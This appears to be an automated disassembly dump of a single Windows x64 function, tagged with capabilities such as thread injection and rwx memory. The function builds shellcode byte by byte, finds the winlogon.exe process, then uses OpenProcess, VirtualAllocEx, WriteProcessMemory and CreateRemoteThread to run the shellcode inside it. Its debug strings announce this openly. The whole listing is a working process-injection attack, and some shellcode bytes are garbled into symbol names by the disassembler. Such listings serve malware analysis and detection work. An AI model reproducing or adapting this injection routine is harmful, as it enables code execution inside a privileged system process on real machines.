Function at 0x14003e6a3
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140043c00
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x9a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3d8], rax
lea rcx, [0x1400e80ab]
call fcn.14003ff62
nop
mov dword [rbp + 0x10], 0x130
mov byte [rbp + 0x160], 0x50
mov byte [rbp + 0x161], 0x51
mov byte [rbp + 0x162], 0x52
mov byte [rbp + 0x163], 0x53
mov byte [rbp + 0x164], 0x56
mov byte [rbp + 0x165], 0x57
mov byte [rbp + 0x166], 0x55
mov byte [rbp + 0x167], WSAGetLastError
mov byte [rbp + 0x168], 0x60
mov byte [rbp + 0x169], 0x5a
mov byte [rbp + 0x16a], 0x68
mov byte [rbp + 0x16b], 0x63
mov byte [rbp + 0x16c], WSAGetLastError
mov byte [rbp + 0x16d], 0x64
mov byte [rbp + 0x16e], 0
mov byte [rbp + 0x16f], 0x54
mov byte [rbp + 0x170], 0x59
mov byte [rbp + 0x171], 0x48
mov byte [rbp + 0x172], 0x83
mov byte [rbp + 0x173], 0xec
mov byte [rbp + 0x174], 0x28
mov byte [rbp + 0x175], 0x65
mov byte [rbp + 0x176], 0x48
mov byte [rbp + 0x177], 0x8b
mov byte [rbp + 0x178], 0x32
mov byte [rbp + 0x179], 0x48
mov byte [rbp + 0x17a], 0x8b
mov byte [rbp + 0x17b], 0x76
mov byte [rbp + 0x17c], 0x18
mov byte [rbp + 0x17d], 0x48
mov byte [rbp + 0x17e], 0x8b
mov byte [rbp + 0x17f], 0x76
mov byte [rbp + 0x180], reloc.WS2_32.dll_recv
mov byte [rbp + 0x181], 0x48
mov byte [rbp + 0x182], 0xad
mov byte [rbp + 0x183], 0x48
mov byte [rbp + 0x184], 0x8b
mov byte [rbp + 0x185], 0x30
mov byte [rbp + 0x186], 0x48
mov byte [rbp + 0x187], 0x8b
mov byte [rbp + 0x188], 0x7e
mov byte [rbp + 0x189], 0x30
mov byte [rbp + 0x18a], 3
mov byte [rbp + 0x18b], 0x57
mov byte [rbp + 0x18c], 0x3c
mov byte [rbp + 0x18d], 0x8b
mov byte [rbp + 0x18e], 0x5c
mov byte [rbp + 0x18f], reloc.WS2_32.dll_socket
mov byte [rbp + 0x190], 0x28
mov byte [rbp + 0x191], 0x8b
mov byte [rbp + 0x192], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x193], 0x1f
mov byte [rbp + 0x194], 0x20
mov byte [rbp + 0x195], 0x48
mov byte [rbp + 0x196], 1
mov byte [rbp + 0x197], 0xfe
mov byte [rbp + 0x198], 0x8b
mov byte [rbp + 0x199], 0x54
mov byte [rbp + 0x19a], 0x1f
mov byte [rbp + 0x19b], 0x24
mov byte [rbp + 0x19c], recv
mov byte [rbp + 0x19d], 0xb7
mov byte [rbp + 0x19e], 0x2c
mov byte [rbp + 0x19f], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1a0], 0x8d
mov byte [rbp + 0x1a1], 0x52
mov byte [rbp + 0x1a2], 2
mov byte [rbp + 0x1a3], 0xad
mov byte [rbp + 0x1a4], 0x81
mov byte [rbp + 0x1a5], 0x3c
mov byte [rbp + 0x1a6], 7
mov byte [rbp + 0x1a7], 0x57
mov byte [rbp + 0x1a8], WSAGetLastError
mov byte [rbp + 0x1a9], WSAGetLastError
mov byte [rbp + 0x1aa], 0x45
mov byte [rbp + 0x1ab], 0x75
mov byte [rbp + 0x1ac], 0xef
mov byte [rbp + 0x1ad], 0x8b
mov byte [rbp + 0x1ae], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1af], 0x1f
mov byte [rbp + 0x1b0], 0x1c
mov byte [rbp + 0x1b1], 0x48
mov byte [rbp + 0x1b2], 1
mov byte [rbp + 0x1b3], 0xfe
mov byte [rbp + 0x1b4], 0x8b
mov byte [rbp + 0x1b5], 0x34
mov byte [rbp + 0x1b6], 0xae
mov byte [rbp + 0x1b7], 0x48
mov byte [rbp + 0x1b8], 1
mov byte [rbp + 0x1b9], 0xf7
mov byte [rbp + 0x1ba], 0x99
mov byte [rbp + 0x1bb], 0xff
mov byte [rbp + 0x1bc], 0xc2
mov byte [rbp + 0x1bd], 0xff
mov byte [rbp + 0x1be], 0xd7
mov byte [rbp + 0x1bf], 0x48
mov byte [rbp + 0x1c0], 0x83
mov byte [rbp + 0x1c1], 0xc4
mov byte [rbp + 0x1c2], 0x30
mov byte [rbp + 0x1c3], 0x5d
mov byte [rbp + 0x1c4], 0x5f
mov byte [rbp + 0x1c5], 0x5e
mov byte [rbp + 0x1c6], 0x5b
mov byte [rbp + 0x1c7], 0x5a
mov byte [rbp + 0x1c8], 0x59
mov byte [rbp + 0x1c9], 0x58
mov byte [rbp + 0x1ca], 0xc3
mov byte [rbp + 0x1cb], 0
xor edx, edx
mov ecx, 2
call fcn.14003e69e
mov qword [rbp + 0x1e8], rax
mov dword [rbp + 0x204], 0xffffffff
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1e8]
call fcn.14003f6e8
cmp eax, 1
jne 0x140043fa2
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1e8]
call fcn.14003ff8a
cmp eax, 1
jne 0x140043fa2
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x3c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140043fa0
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x204], eax
jmp 0x140043fa2
jmp 0x140043f6b
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp + 0x204], 0
jge 0x140043fcb
lea rcx, str.Could_not_find_process_n
call fcn.14003e685
nop
jmp 0x1400440e6
lea rcx, str.Injecting_shellcode_in_winlogon..._n
call fcn.14003e685
nop
mov r8d, dword [rbp + 0x204]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0
jne 0x14004400f
lea rcx, str.Could_not_open_process_n
call fcn.14003e685
nop
jmp 0x1400440e6
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
jne 0x140044055
lea rcx, str.Remote_allocation_failed_n
call fcn.14003e685
nop
jmp 0x1400440e6
mov qword [rsp + 0x20], 0
mov r9d, WSAGetLastError
lea r8, [rbp + 0x160]
mov rdx, qword [rbp + 0x248]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140044092
lea rcx, str.Remote_write_failed_n
call fcn.14003e685
nop
jmp 0x1400440e6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x248]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400440d9
lea rcx, str.CreateRemoteThread_failed_n
call fcn.14003e685
nop
jmp 0x1400440e6
lea rcx, str.Success_____n
call fcn.14003e685
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x1400c3300]
call fcn.14003f71f
mov rcx, qword [rbp + 0x3d8]
xor rcx, rbp
call fcn.14003e70c
lea rsp, [rbp + 0x3e8]
pop rdi
pop rbp
ret